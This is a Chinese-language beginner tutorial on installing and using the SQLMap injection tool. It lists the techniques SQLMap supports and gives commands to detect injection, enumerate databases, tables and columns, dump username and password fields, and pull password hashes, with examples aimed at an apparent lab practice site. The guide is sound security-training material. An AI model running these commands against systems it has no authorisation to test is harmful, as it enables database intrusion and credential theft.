最新SQLMap安装与入门技术
字数 1040 2025-08-18 11:36:53
SQLMap 安装与使用详解
一、SQLMap 简介
SQLMap 是一个自动化的 SQL 注入工具,主要功能包括:
- 扫描、发现并利用给定 URL 的 SQL 注入漏洞
- 内置多种绕过插件
- 支持多种数据库:MySQL、Oracle、PostgreSQL、SQL Server、Access、DB2、SQLite、Firebird、Sybase 和 SAP MaxDB
SQLMap 支持的注入技术
- 基于布尔类型的盲注:根据返回页面判断条件真假
- 基于时间的盲注:通过条件语句查看时间延迟判断是否执行
- 基于报错注入:页面返回错误信息或注入语句结果
- 联合查询注入:可使用 Union 的情况下的注入
- 堆查询注入:可同时执行多条语句的注入
二、SQLMap 安装
环境要求
- Python 环境(支持 Python 2.6、2.7 和 3.x)
- 推荐使用 Python 3
安装步骤
- 从 Python 官网下载并安装 Python
- 安装时勾选"Add Python to environment variables"或将 Python 安装目录添加到环境变量
- 从 SQLMap 官网下载最新版 SQLMap
- 打开 cmd,输入命令
python sqlmap.py验证是否正常运行
三、SQLMap 基本使用
1. 判断是否存在注入
基本命令格式:
python sqlmap.py -u "目标URL"
示例:
python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1"
注意:
- 当注入点参数≥2个时,URL需加双引号
- 运行后会提示检测到的数据库类型等信息,一般按回车继续
2. 从文件加载HTTP请求
python sqlmap.py -r 请求文件.txt
适用于存在Cookie注入等情况
3. 查询当前用户下的所有数据库
python sqlmap.py -u "URL" --dbs
如果用户有权限,将列出所有数据库
4. 获取指定数据库中的表名
python sqlmap.py -u "URL" -D 数据库名 --tables
不加-D参数则列出所有库的表
5. 获取表中的字段名
python sqlmap.py -u "URL" -D 数据库名 -T 表名 --columns
6. 获取字段内容
python sqlmap.py -u "URL" -D 数据库名 -T 表名 -C 字段1,字段2 --dump
示例:
python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security -T users -C username,password --dump
7. 获取数据库所有用户
python sqlmap.py -u "URL" --users
8. 获取数据库用户密码
python sqlmap.py -u "URL" --passwords
会列出用户和密码Hash,并尝试破解
9. 获取当前网站数据库名称
python sqlmap.py -u "URL" --current-db
10. 获取当前网站数据库用户
python sqlmap.py -u "URL" --current-user
四、参数缩写说明
--dbs→-D xxx(指定数据库)--tables→-T(指定表)--columns→-C(指定列)
五、注意事项
- 使用前确保获得合法授权
- 某些操作需要较高权限才能执行
- 不同数据库可能需要不同的参数和技术
- 实际使用中可能需要结合其他参数如cookie、代理等
SQLMap 功能强大,上述命令只是基础用法,实际渗透测试中可根据需要组合使用各种参数和技巧。